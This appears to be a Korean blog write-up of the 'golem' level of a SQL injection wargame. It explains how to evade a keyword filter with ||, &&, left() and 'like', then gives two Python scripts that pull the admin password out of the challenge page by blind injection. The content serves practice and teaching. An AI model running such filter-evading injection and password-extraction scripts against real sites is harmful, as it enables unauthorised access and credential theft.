[golem]
이번 문제는 preg_match에 의해서 or, and, substr(, =이 막혀있다.
or는 ||, and는 &&, substr은 mid, left, substring, =은 like, in으로 우회가 가능하다.
이번 문제도 직접 비밀번호를 찾아야하니 length함수와 left함수를 이용하여 찾자.
?pw=' || id like 'admin' && length(pw) like 숫자 --%20 이런식으로 하면 길이를 알 수 있을것 같고
?pw=' || id like 'admin' && left(pw,1) like 문자 -- %20 이런식으로 하면 비밀번호를 알 수 있을것 같다.
또한 url로 직접 치는것이기 때문에 && 같은경우는 %26으로 입력해 주면 된다.
import requests
for admin_len in range(99) :
URL='http://los.rubiya.kr/golem_4b5202cfedd8160e73124b5234235ef5.php'
query={'pw': '\' || id like \'admin\' && length(pw) like '+str(admin_len)+' -- '}
headers = {'Content-Type': 'application/json; charset=utf-8'}
cookies = {'PHPSESSID': ''}
res=requests.get(URL, params=query, headers=headers, cookies=cookies)
if("Hello admin" in res.text):
print('len is '+str(admin_len))
break
위의 python을 실행시키면 비밀번호의 길이는 8이라는 것을 알 수 있다.
import requests
password=''
for admin_len in range(8) :
for admin_pass in range(ord('0'),ord('z')) :
URL='http://los.rubiya.kr/golem_4b5202cfedd8160e73124b5234235ef5.php'
query={'pw': '\' || id like \'admin\' && left(pw,'+str(admin_len+1)+') like \''+password+chr(admin_pass)+'\' -- '}
headers = {'Content-Type': 'application/json; charset=utf-8'}
cookies = {'PHPSESSID': ''}
res=requests.get(URL, params=query, headers=headers, cookies=cookies)
if("Hello admin" in res.text):
password=password+chr(admin_pass)
print(password)
break
위의 python을 실행시키면 비밀번호는 '77d6290b'라는 것을 알 수 있다.
?pw=77d6290b를 입력하면 클리어!
'CTF_ > los.rubiya.kr' 카테고리의 다른 글
[los.rubiya.kr] bugbear #13 (0) | 2018.08.28 |
---|---|
[los.rubiya.kr] darkknight #12 (0) | 2018.08.26 |
[los.rubiya.kr] skeleton #10 (0) | 2018.08.26 |
[los.rubiya.kr] vampire #9 (0) | 2018.08.26 |
[los.rubiya.kr] troll #8 (0) | 2018.08.26 |
댓글